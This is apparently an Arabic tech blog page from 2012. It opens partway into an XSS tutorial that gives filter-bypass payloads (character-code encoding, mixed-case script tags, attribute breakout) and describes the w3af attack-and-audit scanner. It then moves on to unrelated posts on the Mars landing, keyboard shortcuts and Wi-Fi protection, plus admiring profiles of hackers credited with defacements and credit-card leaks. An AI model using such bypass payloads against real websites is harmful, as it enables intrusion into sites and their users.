<script>alert(>xss detected<)</script>

كما ترون لقد غيرت محتوى الكود ومنعت من عمله ويمكن تخطي هده الحماية في حالتين :

تجاوز magic_quotes_gpc

هده التعليمة تكون بملف php.ini و إدا كانت تعمل فتقوم بمنع تنفيد أي أمر به مثل هده الرموز " \ ' و يصبح مستحيل تنفيدها

لكن هناك الحل لتجاوزها وهو تشفير الكود بASCII كأن نشفر

alert("hi");

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)

كما ترون الكود لايحتوي على أي رموز هكدا سنتمكن من الإلتفاف على الحماية و يمكن كدلك إستعمال تشفير أخر كالتشفير بHEX

تجاوز الحماية بإستعمال أسلوب التشويش

بعض المواقع لاتسمح بإستعمال alert و script في مواقعها و تقوم بحضرها ويمكن الإلتفاف عليها بطرق سهلة بكتابة الكود هكدا

<ScRipt>ALeRt("hi");</sCRipT>

أو هكدا

"><script>alert("Hi");</script>

كما يمكنكم زيارة هدا الموقع لمعرفة المزيد من الطرق http://ha.ckers.org/xss.html

كيفية الحماية من هده الثغرات

كمستخدم عادي تستطيع حماية نفسك من خلال إستخدام هده الإضافة الخاصة بمتصفح موزيلا No-Script Addon وأيضا من خلال عدم الوثوق في الروابط القصيرة و للحماية فيمكنك مسح كل الكوكيز من على متصفحك ومن ثم تصفحها من خلال بروكسي لكي لا يلتقط المخترق الأيبي الخاص بك
و كصاحب موقع فما عليك سوى إستخدام جدران نارية و سكربتات تحد من فاعلية الثغرة

وفي الأخير أود التنويه أن كل ما دكرته ليس إلا للأغراض التعليمية وأنا لست مسؤولا عن أي شخص يستعملها لأغراض التخريب

يمكن طرح تساؤلاتكم من خلال صندوق التعليقات أسفله

شكرا للمتابعة وإلى التدوينة القادمة :)

www.afinis.co.cc : المصدر

برنامج w3af لإكتشاف و إختراق تطبيقات الويب

2012-08-09T02:17:00.002+00:00

نأتي أولا إلى التحدث عن تاريخ هدا البرنامج قليلا فهو مبرمج من طرف Andrés Riancho دو جنسية أرجُنتينية والغة المبرمج بها هدا التطبيق هي Python وهو مفتوح المصدر أما تاريخ صدور أول إصدارة منه فهي سنة 2007 مارس وعن إسمه W3af فهو إختصار لكلمة Web Application Attack and Audit Framework كما هو ظاهر من العنوان فالبرنامج موجه لإختراق تطبيقات الويب كما يدعم عدة أنظمة لينيكس و ووندوز ماك... البرنامج وكما يقول صاحبه يود أن يجعل منه أحسن scanner موجه لإكتشاف ثغرات تطبيقات الويب كما يحتوي على 130 plug-ins يمكن أن يعمل في سطر الأوامر كما له واجهة رسومية GUI وأرى أنها أحسن بالنسبة للمبتدئين وأسهل

نأتي الآن إلى إمكانياته :

Discovery وهو للبحث عن URLs و نظام و إصدار السرفر المستضيف للموقع و أشياء أخرى
Audit هدا القسم يحتوي على الكثير من الأدوات لإكتشاف الثغرات مثل sqli xss lfi ...
Grep في هدا القسم توجد أدوات تقوم بحفظ كل الإتصالات بينك و الموقع كحفظ الكوكيز والإيمايلات وما إلى دلك
Mangle لتعديلات الفورية
Evasion لتخطي أنظمة كشف الإختراق IDS و IPS
Bruteforce في هدا القسم توجد ادوات لتخمين كلمة المرور و اليوزر لصاحب الموقع المراد اختراقه

بعد الإنتهاء من إختيار الأدوات التي تودون تجربتها على الهدف سيعطيكم البرنامج تقارير يلخص فيها كل ما وجده في حال وجود ثغرة سيعطيكم البرنامج بالظبط الرابط المصاب ويرفق الثغرة بشل لتحكم بها حقا البرنامج جد رائع و أنا من معجبيه نظرا لسهولة التي يعطيها لي في إختبار الإختراق وإختصار الوقت و الجهد ولكن مع دلك لا أنصح بالإكتفاء به فإختبار الإختراق اليدوي يكون أدق و أحسن في أغلب الأحيان
حاولت في هده التدوينة أن أعطيكم وألخص لكم مزايا هدا البرنامج فأتمنى أن تكون قد أعجبتكم ولطرح أي تساؤل ما عليكم سوى كتاته في صندوق التعليقات أسفله وشكرا :)
الموقع الرسمي للبرنامج | لتحميل البرنامج

www.afinis.co.cc : المصدر

«ناسا» تتلقى أول صور من المسبار «كيريوسيتي» عقب هبوطه على سطح المريخ

2012-08-07T00:58:00.001+00:00

بعد رحلة استمرت 8 أشهر قطع خلالها 566 مليون كيلومتر قبل دخول الغلاف الجوي للمريخ بسرعة 20921 كيلومترا

واحدة من أول الصور التي أرسلها المسبار «كيريوسيتي» عن عدسة «عين السمكة» الموجودة على يسار الجزء الخلفي من المركبة. وتظهر سطح كوكب المريخ (أ.ف.ب)

مات والاس (في الوسط) مدير أنظمة الطيران في مختبر علوم المريخ والمدير الرئيسي للطيران في المختبر ديفيد أو (الثاني من اليمين) خلال الاحتفال لحظة هبوط المركبة (أ.ف.ب)

باسادينا (ولاية كاليفورنيا الأميركية): «الشرق الأوسط»
أرسل المسبار الفضائي العلمي «كيريوسيتي» أول صور من فوق سطح المريخ بعد 3 دقائق من هبوطه ليبدأ مهمة تستمر عامين للبحث عن أدلة على وجود المقومات الأساسية للحياة على الكوكب الأحمر.وقال ألين تشين، نائب مدير فريق هبوط المسبار: «لا يمكنني أن أصدق هذا. إنه أمر لا يصدق» في الوقت الذي وصلت فيه أول 3 صور للتضاريس الصخرية - إحداها تبين عجلة المركبة – إلى مركز مراقبة المهمة.
وكان المسبار قد هبط بنجاح على سطح كوكب المريخ طبقا لما أعلنه فريق وكالة الفضاء الأميركية (ناسا) في باسادينا بكاليفورنيا غرب الولايات المتحدة.
وحط المسبار فجر أمس، الاثنين، على سطح الكوكب الأحمر. وقال مسؤول في مهمة متابعة الرحلة في مختبر «جيت بروبالشن لابوراتوري» في باسادينا شرق لوس أنجليس: «تأكدت عملية الهبوط».
وحط المسبار بعيد الساعة 05:31 بتوقيت غرينتش على سطح الكوكب الأحمر.
وقد عبر المشرفون على المهمة عن فرحتهم عند الإعلان عن هبوط المسبار في ختام عملية نزول دقيقة جدا من 7 دقائق يبدو أنها تمت تماما وفق الخطة الموضوعة.
وكانت مهمة متابعة الرحلة أعلنت قبيل الساعة 05:30 بتوقيت غرينتش أنها تلقت مؤشرا أول من الروبوت قبيل دخوله الغلاف الجوي للكوكب الأحمر قبل أن تؤكد أنه تمكن من فتح مظلته بنجاح.
وصفق مراقبو المهمة في معمل الدفع النفاث قرب لوس أنجليس عندما تلقوا إشارات من مركبة تؤكد أن المسبار تمكن من الهبوط في المنطقة المخصصة.
ووصفت ناسا هذا الإنجاز بأنه أكثر الإنجازات تعقيدا في رحلات الفضاء غير المأهولة.
ومشروع «كيريوسيتي» الذي يتكلف 5.‏2 مليار دولار ويطلق عليه رسميا «المختبر العلمي للمريخ»، هو أول مهمة تتعلق بوجود حياة في الفضاء تقوم بها «ناسا» منذ مهام سفن الفضاء «فايكنغ» في السبعينات.
ويمثل هبوط المسبار على سطح المريخ انتصارا كبيرا وعلامة بارزة لـ«ناسا» التي تعاني من خفض في الميزانية وتوقف برنامج المكوك الذي استمر 30 عاما.
وقال جون هولدرين، كبير المستشارين العلميين للرئيس باراك أوباما، الذي كان يزور مختبر الإطلاق: «إنها خطوة هائلة للأمام في استكشاف الكوكب. لم يقم أحد قط بشيء من هذا القبيل.. كان أداء رائعا».
ولم يتسن على الفور التأكد من حالة المسبار الذي يعمل بالطاقة النووية، والذي يبلغ وزنه طنا واحدا لدى وصوله.
وتعتزم «ناسا» إخضاع المسبار ومعداته المعقدة - الذي وصف بأنه أول مختبر علمي متنقل كامل يرسل للعالم الخارجي - لعمليات صيانة هندسية تستغرق عدة أسابيع قبل بدء المهمة التي تستغرق عامين.
وكان هبوط المسبار تتويجا لرحلة استغرقت أكثر من 8 أشهر قطع خلالها المسبار 567 مليون كيلومتر في الفضاء منذ إطلاقه من كيب كنافيرال.
وفي واشنطن وصف الرئيس الأميركي، باراك أوباما، هبوط المسبار «كيريوسيتي» على سطح المريخ باللحظة التاريخية التي توضح التقدم الهائل في مجال اكتشاف الفضاء.
وقال أوباما: «إن الهبوط الناجح للمسبار الذي يعد المعمل الأكثر تقدما الذي يهبط على كوكب آخر يمثل تقدما غير مسبوق للتكنولوجيا سوف يمثل مصدر فخر وطني لنا في المستقبل»، وأضاف: «هذا يثبت أن أطول العقبات لا تقف أمام ما لدينا من خليط فريد من البراعة والتصميم».
وأشار أوباما إلى أن تحقيق هذا التقدم يأتي في الوقت الذي تبذل فيه أميركا جهودا لنقل مسؤولية الرحلات الفضائية للمحطة الفضائية الدولية القريبة للشركات الخاصة لكي تركز وكالة الفضاء الأميركية (ناسا) على الأهداف الأطول مدى مثل السفر للمريخ. وقال: «أهنئ وأشكر جميع رجال وسيدات (ناسا) الذين حققوا هذا الإنجاز الكبير، وإنني أتوق لمعرفة ما سيكتشفه كيريوسيتي». وأوضحت «ناسا» أن مسبار الفضاء «كيريوسيتي» نجا من هبوط صعب للغاية على سطح المريخ باستخدام تقنية لم تتم تجربتها من قبل، حيث تم إنزال المسبار إلى سطح الكوكب الأحمر بشكل يشبه نزول العنكبوت على الخيط.
وتعالت الهتافات في مختبر الدفع النفاث التابع لوكالة «ناسا» في ولاية كاليفورنيا فور هبوط المسبار على سطح المريخ، بعد مرور ما وصفت بأنها «7 دقائق من الرعب»، عندما دخلت المركبة الغلاف الجوي للكوكب وقامت بأكثر عمليات الهبوط تعقيدا حتى الآن بالنسبة لمركبة غير مأهولة.
وفي غضون دقائق، أرسل «كيريوسيتي» أولى صوره، التي يظهر فيها وقوف عجلاته بسلام على سطح المريخ.
واحتشدت الجماهير في أنحاء الولايات المتحدة، بما في ذلك ميدان تايمز في نيويورك، لمشاهدة بث مباشر لعملية الهبوط من مركز التحكم في المهمة التابع لوكالة «ناسا» ومختبر الدفع النفاث في كاليفورنيا. ويذكر أن هذه هي المرة الأولى التي يقوم بها مسبار بمناورة هبوط معقدة.
ومن المقرر أن تستمر المهمة لمدة عام مريخي على الأقل (عامان بزمن الأرض) لدراسة فوهة بركان «جال» للانتقال من البحث عن المياه إلى بحث أوسع عن وجود عناصر أخرى ضرورية للحياة مثل الكربون.
كما ستجري المهمة دراسة حول المعادن في المريخ لمعرفة طبيعة الظروف على الكوكب قبل ملايين السنين.
ومن المقرر أن يستخدم «كيريوسيتي» مجموعة واسعة من الأدوات الجديدة، إذ إنه مزود بكاميرتين مثبتتين أعلى سارية، يمكن أن يلتقط بهما المسبار صورا بانورامية ثلاثية الأبعاد، بينما يمكن إطلاق الليزر على الصخور لتحديد عناصرها الكيميائية.
كما يمكن للمسبار استخدام ذراع آلية طولها متران لفحص ما يحيطه بشكل أكثر دقة، إلى جانب حفار يسمح له بأخذ عينات من داخل الصخور. وكانت هذه المنطقة خضعت للدراسة الكثيفة بالفعل من جانب مركبات فضائية تدور حول الكوكب، ويأمل العلماء في أن يقدم «كيريوسيتي» أدلة حول احتمال وجود مياه على المريخ في الماضي. وتحتوي هذا المنطقة على طين ومواقع غنية بالكبريتات، حيث يمكن إيجاد مركبات عضوية ضرورية للحياة. وتأمل «ناسا» في إرسال مهمة مأهولة إلى المريخ في النهاية، مع استمرار المهام الروبوتية إلى أقرب الكواكب للأرض.
الجدير بالذكر أن المسبار ظل يجوب الفضاء لأكثر من 8 أشهر وقطع 566 مليون كيلومتر قبل دخول الغلاف الجوي للمريخ بسرعة 20921 كيلومترا في الساعة، أي بسرعة تزيد على سرعة الصوت 17 مرة قبل بدء الهبوط. وهبط المسبار على منطقة هبوط يطلق عليها «فوهة جال» وتقع قرب خط الاستواء للكوكب في النصف الجنوبي منه.
وأرسلت المركبة «أوديسي» التابعة لوكالة «ناسا» التي تدور حول الكوكب أول تأكيد على عملية الهبوط عبر جهاز هوائي في أستراليا. وسيمضي «كيريوسيتي» عامين في استكشاف «فوهة جال» وجبل ارتفاعه 5 كيلومترات يتكون مما يبدو أنها ترسيبات منبثقة من جوف الفوهة. وقال مدير «ناسا»، تشارلي بولدن، للصحافيين في غرفة مليئة بالمهندسين والعلماء الذين تغمرهم السعادة: «اليوم، بدأت عجلات (كيريوسيتي) في تمهيد الطريق لكي تطأ قدم الإنسان سطح المريخ».
وأضاف أن «كيريوسيتي»، أكثر المسابير تطورا على الإطلاق، «بات الآن على سطح الكوكب الأحمر، حيث سيسعى إلى الإجابة عن أسئلة قديمة حول ما إذا كانت هناك حياة على المريخ، أو ما إذا كان الكوكب يمكن أن يصلح للحياة في المستقبل».
ووصف بولدن عملية الهبوط بأنها عمل «مذهل»، مشيرا إلى أن 40 في المائة فقط من المركبات التي أرسلت إلى المريخ وصلت بنجاح.
كانت الهند قالت يوم الخميس الماضي إنها تعتزم إرسال مركبة فضائية إلى الكوكب بحلول عام 2013.
«كيريوسيتي» تحمل شريحة إلكترونية تضم عددا من مشاهير العرب
* كشف موقع قناة «العربية» على الإنترنت أن المسبار «كيريوسيتي» يحمل شريحة إلكترونية تحتوي على 15 ألف اسم تقريبا بينها عدد من مشاهير العرب في الماضي والحاضر بل وعرب عاديين طبقا للقاء الذي أجرته القناة مع الدكتور عصام حجي رئيس فريق علمي في «ناسا» يستخدم تكنولوجيا الرادار على الأرض للبحث عن المياه الجوفية في المناطق الصحراوية المشابهة للمريخ وتشارك فيه الكويت مع إيطاليا إضافة لوكالة الفضاء الأميركية وأضاف الدكتور حجي أن الشريحة الإلكترونية موجودة على المركبة بموافقة «ناسا» التي قبلت أن يضع العاملون فيها ما يرونه مناسبا من أسماء أشخاص كتكريم لهم ففي المستقبل سيعثر زوار المريخ على المركبة ويجدون الأسماء في الشريحة ويبحثون عن ماضي أصحابها ومن كانوا، وفق تعبيره.
ورفض الدكتور حجي الإفصاح عن أي اسم وضعه هو أو غيره في الشريحة، لكنه ذكر بأن الأسماء هي لمشاهير رحلوا ومعاصرين من العرب، وهم من جميع الدول العربية. وعلى أي حال فوحدها «ناسا» ستكشف عن الأسماء عما قريب، بحسب تأكيده.
وقال الدكتور حجي من مقر عمله في معمل «الدفع الصاروخي النفاث» التابع لوكالة «ناسا» في كاليفورنيا، إن وضع الأسماء هو تقليد تمارسه الوكالة لإشراك المجتمع والأشخاص عبر وضع أسمائهم وفق منظومة مفتوحة للاقتراح على موقع «ناسا».
«بوينغ» تفوز بعقد قيمته 900 مليون دولار لبناء سفينة فضاء
* ذكرت تقارير إخبارية اليوم الجمعة أن شركة «بوينغ» الأميركية للصناعات الجوية والفضائية وشركة «سبيس إكسبلوريشن تكنولوجيز كورب» فازتا بعقود بقيمة 900 مليون دولار لإنتاج سفينة فضاء قادرة على حمل رواد فضاء لصالح وكالة الفضاء والطيران الأميركية (ناسا).
وذكرت «ناسا» أن «بوينغ» حصلت على عقد قيمته 460 مليون دولار، في حين حصل «كونسورتيوم سبيس إكس» بقيادة الملياردير إيلون ماسك على عقد بقيمة 440 مليون دولار، وشركة «سيرا نيفادا كورب» على عقد بقيمة 213 مليون دولار من الوكالة الأميركية.
ونقلت وكالة «بلومبرغ» للأنباء الاقتصادية عن جون لوجسدون أستاذ علوم الفضاء ومؤسس معهد سياسات الفضاء في جامعة جورج واشنطن الأميركية أن اثنتين من الشركات سيتم اختيارهما لإنتاج سفينة فضاء قادرة على حمل أطقم المحطة الفضائية الدولية.
وأضاف: «هذه خطوة مهمة.. هناك بدائل لمكوكات الفضاء»، حيث كانت وكالة «ناسا» قد أوقفت قبل سنوات تشغيل أسطول مكوكات الفضاء التي ظلت تعمل عشرات السنين العام الماضي، وأصبحت الولايات المتحدة دون أي وسائل خاصة بها لإرسال روادها إلى الفضاء، وأصبحت تعتمد على سفن فضاء دول أخرى مثل روسيا.
وتريد الإدارة الأميركية أن يتولى القطاع الخاص تشغيل سفن الفضاء على أن تركز وكالة «ناسا» على أبحاث الوصول إلى المريخ ودراسة الكواكب.
الهند تعطى الضوء الأخضر لإطلاق مركبة فضائية إلى المريخ
* وافقت الحكومة الهندية على إرسال مركبة فضائية إلى المريخ العام القادم. وذكرت صحيفة «هندو» اليومية نقلا عن مصادر رسمية أن الحكومة الفيدرالية وافقت في ساعة متأخرة ليلة الجمعة على قيام منظمة بحوث الفضاء الهندية بإرسال مركبة إلى كوكب المريخ في نوفمبر (تشرين الثاني) 2013.
كان مسؤول في المنظمة قد صرح في وقت سابق بأن المشروع - الذي تقدر تكلفته بـ4.5 مليار روبية (نحو 80 مليون دولار) - يشمل عملية إطلاق المركبة في 26 نوفمبر 2013، والفرصة التالية للإطلاق سوف تكون في مايو (أيار) 2018.
ومن المتوقع أن توضع المركبة التي ستدور حول المريخ وتزن 1350 كيلوغراما في مدار بيضاوي فوق المريخ بحلول سبتمبر (أيلول) 2014 بعد رحلة تستمر 300 يوم من الأرض، بحسب مذكرة تم إعدادها للعرض على الحكومة. ولم يتسنَّ الاتصال بمسؤولين من وزارة العلوم للتعليق.
وجرى الإعداد للمشروع بعد المهمة التي قامت بها المركبة الهندية «تشاندرايان – 1» في عام 2008 إلى القمر، التي عثرت على دليل على وجود مياه على سطحه.
وحاولت عدة دول القيام بمهام لدراسة المريخ، وهو كوكب لديه سمات كثيرة مشابهة مع الأرض. وتحتل الهند بذلك الترتيب السادس في قائمة إرسال مركبات إلى المريخ بعد الولايات المتحدة وروسيا وأوروبا واليابان، والصين التي لم تكلل محاولتها الأولى في عام 2011 بالنجاح.

www.afinis.co.cc : المصدر

|عقيدة الهكرز!!|

2012-08-03T07:31:00.000+00:00

وانا ببحث عن مقالات عن التقنيه لفت نظري هذا المقال جدا فحبيت انشروه عشان نعرف الهكر بيقول ايه عن نفسه وهل فعلا الكلام الى فى المقال ده صحيح ولا لا لكم الحكم على المقال

_________________

مر الزمان مر الو

قت اقتربت اللحظة التي ننتظرها!
مر الوقت ونحن البشر ......
لم نفهم!
لم ندرك حتى!
أننا بشر نملك روحا نحن مختلفون .....
نحن نملك وعيا...
نملك فكرا..........
نملك ارادة..........
نملك رغبة من خلالها نتعلم ونصل للحقيقة....
فهل تعرف ماهي الحقيقة؟؟؟
هل تعرف من هو عدوك حقا؟؟

______________________
ان كنت قرأت الكلمات التي بالأعلى سيكون امامك خيارين وكل خيار يعتمد على اسلوبك في الحياة
الخيار الأول انك ستتمعن فيه جيدا وتعرف لماذا قلته.
الخيار الثاي انك ستعتقد انه كلام لامعنى له وربما فلسفة زائدة وهنا ستعتبر ان هذا الكلام ليس جزءا من المقال لكن اؤكد لك ان هذه الكلمات هي الموضوع كله لمن يفهمها جيدا....
_________________
أنا هكر ولست مجرم!!
عند بدايتي لتعلم الهاكينج قرأت كتابا يتحدث عن اساليب اختراق تطبيقات الويب في مقدمة الكتاب لفت انتباهي ان المؤلف يقول
"انه يعلم ان هناك من سيستغل هذه المعلومات للتخريب والتدمير لكنه يعلم جيدا انه سيصل الى مرحلة من الاسترخاء والانضباط النفسي تجعله يوجه ماتعلمه الى الطريق الصحيح."
وأيضا مازلت اتذكر كلمة كان يقولها لنا الدكتور في المحاضرات
"افضل شيء التعلم بالخبرة واسوء شيء التعلم بالتجربة"

عقيدة الهكرز!!
لقد دخل لمجال الهاكينج الكثير الألآف من الاشخاص لكن قلة فقط من فهموا هذا العلم وهذا العالم الهكر ليس مجرم عزيزي القارئ
وليس المخترق الذي يخطط لاقتحام خصوصيتك وليس اللص"الحرامي" الذي ينتظر اللحظة المناسبة للانقضاض على ماتملك من اميلات او حسابات مصرفية.
للاسف هناك اشخاص مازالت عقولهم مأسورة لسجن الجهل المليء بالافكار التافهة هناك من يريد التعلم للانتقام من فلان
وهناك من يريد التعلم لانه اعجب بشخص يحصل على دخل شهري من سرقة الحسابات المصرفية متناسيا انه هذا الشخص المعجب
لايفرق عن اللص شيئا فمالفرق بان اضع يدي في جيبك لسرقة اموالك او اخترق نظامك لاسرقها؟؟!!
هناك أيضا من يملك مايكفي من العنصرية الدينية مايجعله يبيح استخدام هذا العلم في تحطيم مواقع الاخرين وتدميرها واختراق وسرقة
من لايملكون نفس فكره اومعتقداته.
وهناك من يتعلم لاجل كلمة "أخترق" اها من هذه الكلمة وماتبثه في نفس الشخص من شعور بالسلطة والقوة والتميز عندما يذكر أحدهم انه اخترق موقع كذا او نظام كذا!
هل لاحظتم شيئا اخواني فيما قلته؟؟
هل تشاهد نشرة الاخبار ماذا تلاحظ فيها؟؟
دولة تعتدي على دولة وانسان يقتل اخيه الانسان وقيم بشرية مهمة تضيع لاجل ماذا حب السلطة حب المال حب الشهوة حب القوة والسيطرة حب الذات الانتقام الحقد والكراهية.
هل عرفت الآن لماذا اننا لاندرك أننا بشر!!
إن الفساد ياتي من ضعف الانسان حبه ورغبته للشهوة للمال السلطة كل هذا بسبب الجهل.
الجهل هو السجن الذي يحبس الروح والعقل البشري في اعماقه يقوم بسجن الانسان الذي بداخلك.
ماريد قوله نفس الاسباب هي التي تقوم بالمشاكل التي تحدث في اي زمن وفي اي مكان.
فسبب المشاكل بين الشعوب العنصرية بجميع انواعها حب السلطة والمال
نقيس على ذلك الهكرز نجد سبب اعطاء صورة خاطئة عن الهكرز نفس الاسباب ان بعض الاشخاص بسبب حب السلطة القوة المال الشهوة يستخدمون هذا العلم بشكل خاطئ.
نحن الهكرز نحمل شرف العلم ونملك الحرية لاننا تحررنا من الجهل الى نور الحقيقة.
إنها عقيدتنا الحرية والتطوير نحن لسنا مجرمون نحن علماء الحاضر والمستقبل نحن اساس العصر الحديث
هكر لاتعني اني مجرم هكر تعي انسان مبدع في اي مجال من مجالات هذه الحياة هكر يعني صاحب فكر معقد اعقد من اي مشكلة تقف امامي هكر يعني انسان فهم هذه الحياة جيدا وسخرها بالطريقة الصحيحة لصالحه وليس تسخيرها ضد اشخاص اخرين.
لن تصبح واحدا منا مهما تعلمت من علوم هذا الكون مالم تعرف هدفنا الحقيقي وتملك اخلاقنا التي من خلالها نتميز عن غيرنا
اخيرا هذه بعض اخلاق ومبادئ وافكار عقيدة الهكر أتمنى ان لاتلقي بها في الهواء كالتراب المنثور.
نصيحة:
تعلم كيف تتحلى باخلاق النفس البشرية."صدقني ليست سهلة والا ماكانت هذه المشاكل التي في عالمنا تحدث الآن

www.afinis.co.cc : المصدر

|صوره ولكم التعليق !! |

2012-08-03T06:23:00.003+00:00

|صوره ولكم التعليق !! |

www.afinis.co.cc : المصدر

اخبار الكمبيوتر |اسرار لوحة المفاتيح :الجزء الاول|

2012-08-03T06:21:00.004+00:00

من اسرار الكيبورد الجزء الاول

سنقوم بتقديم اشهر اختصارات الكيبورد على اجزاء واليكم الجزء الاول

ctrl+b : يقوم بترتيب ملف المفضلة عن طريق هذا الامر.

alt+f4 : أمر مفيد يقوم بإغلاق النوافذ.

alt+esc : يمكنك التنقل من نافذة الى نافذة.

alt+tab : امر مفيد جداً لك اذا كان هنالك نوافذ كثيرة مفتوح يمكنك اختيار النافذة المطلوبة.

trl+f :يمكن لك بحث في البرنامج عن الكلمة.

ctrl+s :حفظ العمل الذي قمت به.

f2: اسرع امر يمكنك من تغير اسم ملف محدد.

Ctrl + F5: تصغير نافذة الملف.

ctrl+z : يمكنك من التراجع عن اي امر قمت بتنفيذه.

ctrl+p : لتنفيذ الامر بالطباعة لبرنامج المتصفح او اي برنامج اخر.

ctrl+o : لفتح ملف من اي برنامج عن طريق هذا الامر.

ctrl+w : لاغلاق اي نافذة مفتوحة

Ctrl + F2 : معاينة الصفحة قبل الطباعة

= + Ctrl : تكبير وتصغير درجة واحدة

F4 : تكرار أخر عملية

Alt + Enter :تكرار أخر عملية

Ctrl + Y : تكرار أخر عملية.

F12 حفظ بأسم

Shift + F12 حفظ الملف

Ctrl + F2 :معاينة الصفحة قبل الطباعة.

Ctrl + P : طباعة.

www.afinis.co.cc : المصدر

|مجموعة إيرانية تعطل 220 موقع إسرائيلي|

2012-08-03T06:12:00.003+00:00

|مجموعة إيرانية تعطل 220 موقع إسرائيلي|

استطاعت مجموعة من الشباب الإيراني تطلق على نفسها "أمن الانترنت" من اختراق 220 موقع إسرائيلي وتعطيلها بالكامل.

وقالت صحيفة "مهر" الإيرانية أن المجموعة قامت بهذا الهجوم في الذكر السنو

ية لاغتيال العالم الإيراني " داريوش رضائي نجاد".

وأضافت الوكالة أن المجموعة استطاعت الوصول إلى أكثر المواقع حساسية في الكيان الصهيوني مثل موقع مركز تدريب قوات الأمن الإسرائيلي وموقع منتدى إسرائيل الأساسي وموقع تجاري مصرفي يقوم بحماية البطاقات المصرفية للإسرائيليين.

وتقول الوكالة أن الهدف الثاني للمجموعة من هذا الهجوم هو الاحتجاج على الرأي العالمي الرافض لامتلك إيران إلى الطاقة النووية وحتى لو لأغراض سلمية.

وكان قد ضرب فيروس مؤخراً حواسيب منشأة المفاعل النووي الإيراني مما جعل الحواسيب تعمل ليلاً وقام بتشغيل موسيقى صاخبة في المنشأة.

www.afinis.co.cc : المصدر

صورة ولكم التعليق

2012-08-03T06:08:00.000+00:00

صورة ولكم التعليق

www.afinis.co.cc : المصدر

|تقرير عن اشهر الهاكرز على مستوى الوطن العربى |

2012-08-03T01:02:00.001+00:00

1) Cyber-Terrorist ( السعودى ) : من أشهر وأقوى الهاكرز العرب،
وقد لقب بقاهر اليهود لاختراقه العديد من المواقع العالمية المتخصصة بالأمن والحماية وأنظمة الكمبيوتر مثل مايكروسو

فت وكاسبر، كما نجح في اختراق مواقع العديد من البنوك والشركات الكبرى بالإضافة إلى موقع الرسام الدنمركي الذي أساء للرسول صلى الله عليه وسلم، وقد توفي نتيجة أزمة ربو حادة في أبريل 2012...

2) 0xOmar ( السعودى ) : حقق الهاكر السعودي عمر، والذي يعرف على الإنترنت باسم 0xOmar، شهرة عالمية بعدما تمكن من كشف بيانات بطاقات الائتمان الخاصة بآلاف الإسرائيليين ما تسبب في هلع داخل الكيان الصهيوني خاصة بعدما اعترفت البنوك الإسرائيلية بحدوث الاختراق لبيانات 400 ألف عميل، وقد فشلت محاولات الكشف عن هويته ما دفع داني إيالون ـ نائب وزير خارجية إسرائيل ـ إلى اعتبار الأمر إرهاب تكنولوجي متوعداً بالرد، فقام 0xOmar بتعطيل موقع داني إيالون في هجوم استغرق نصف ساعة فقط.

3) Dr.Silnt Hill ( المصرى ) : يعد الهاكر دكتور سيلنت هل من اقوى الهاكرز فى مصر وهو ينتمى لفريق Team Hacker EgYpt حيث قام فى عام 2009 بأختراق اكثر من 100 موقع بيع وشراء اسرائيلى وهذا أثــَّـر اقتصاديا على اسرائيل وقام بعمل حملة على المواقع الدنماركية واخترق اكثر من 200 موقع امريكي بسبب مافعلته دولة الدنمارك من سب رسول الله وايضا ً كان متخصصا فى اختراق المواقع الاباحية .

4 ) Red Virus ( المصرى ) : يعد ريد فيرس من اهم القراصنة الموجودون على الشبكة العنكبوتية لانه كان يتيمز بأختراق المواقع الحكومية للدول الكبرى وقام بأختراق موقع الكنسيت الاسرائيلى فى عام 2011 وكان يتميز بتخطيه لأقوى الحمايات فى السيرفرات حول العالم

5 ) Kader 11000 ( الجزائرى ) : يطارد الهاكر الجزائري Kader 11000 من قبل العدالة في الولايات المتحدة وفرنسا وإسرائيل وذلك نتيجة اختراقه العديد من المواقع في تلك الدول، ووفقاً لما ذكره Kader لصحيفة الشروق الجزائرية فقد اخترق أكثر من 50 ألف موقع منها موقع ماري لوبان زعيمة اليمين المتطرف في فرنسا والمعادي للإسلام، وحزب كاديما الإسرائيلي، وموقع بطاقات ViSA الأميركية والمواقع الجنسية العربية وغيرها، ووفقاً Kader فإنه لا يقوم بذلك بهدف التخريب وإنما بهدف أن يكون فخراً للعروبة والإسلام، مشيراً إلى أنه يعرف أن نهاية قراصنة الإنترنت هي الموت أو السجن.

6 ) Soly Hacker ( المصرى ) : كان الهكر سولى يتميز بأختراقة لمواقع السكيوريتى ومواقع الهكر حول العالم حيث قام بأختراق موقع فيس بوك هاك الموقع العالمى الذى كان يتخصص فى الاسكربيتات والبرامج الخاصة بالهاكر والتى تستخدم فى العاب الفيس بوك وايضا قام بأختراق موقع باراك اوباما الاسرائيلى وايضا قام هذا العام بأختراق موقع سعودى اون لاين وقطع التجارة الالكترونية بين دولة السعودية و استراليا

7 ) Sniper Hex ( السعودى ) : الهاكر السعودي Sniper Hex نجح في اختراق العديد من المواقع الإسرائيلية الرسمية مثل وزارة التعليم الإسرائيلية، ووزارة السياحة، ووزارة الشؤون الدينية، وموقع حزب الليكود وتدمير أكبر موقع بحث إسرائيلي Guide والعديد من المواقع الأخرى، ويقول Sniper Hex إنه تلقى العديد من العروض المالية لمساعدة أشخاص على التجسس أو اختراق حسابات شخصية لكنه رفض، مضيفاً أنه يعمل على إيجاد الثغرات الأمنية لدى المواقع العربية وتنبيه المسؤولين عنها وتدمير المواقع العربية الإباحية أو المواقع الغربية التي تهاجم الإسلام والعرب.

8 ) Mego ( المصرى ) كان يتميز الهكر ميجو بأختراق مواقع الانتى فيرس مثل اختراق افاست وكاسبر اسكاى وبعض مواقع الانتى فيرس الكبرى حول العالم وقام Mego ايضا بأختراق شركة دومين الاسرائلية وسحب جميع الداتا الخاصة بعملاء الشركة وتسريبها على شبكة الانترنت واستطاع ايضا اختراق مواقع حكومية لعدة دول مثل اسرائيل والدنمارك وايران

www.afinis.co.cc : المصدر

10 نقاط لحماية الاتصال بالـ Wi Fi

2012-08-03T00:18:00.001+00:00

|10 نقاط لحماية الاتصال بالـ Wi Fi |

عند التوصيل شبكة الانترنت فى منزلك يتطلب منك حمايتها من أى احد يستطيع استخدامها دون علمك ..فبهذه النقاط نعرض كيف تقوم بتنفيذ هذه الحماية..

1- تغيير الحساب وكلمة المرور الخاص بالـ Admin
معظم الروتيرز الاجهزة التى تقوم بخروج الشبكات الداخلية على الانترنت بها كلمة مرور وحساب خاص للـ Admin المفترضdefault، فمن الافضل أن تقوم بتغييرها من صفحة الادارة والضبط device’s administrative pages للحفاظ على الشبكة الخاصة بك من المخترقيين وذلك من خلال administrative panel.

2- فتح تشفير الجهاز WPA / WEP
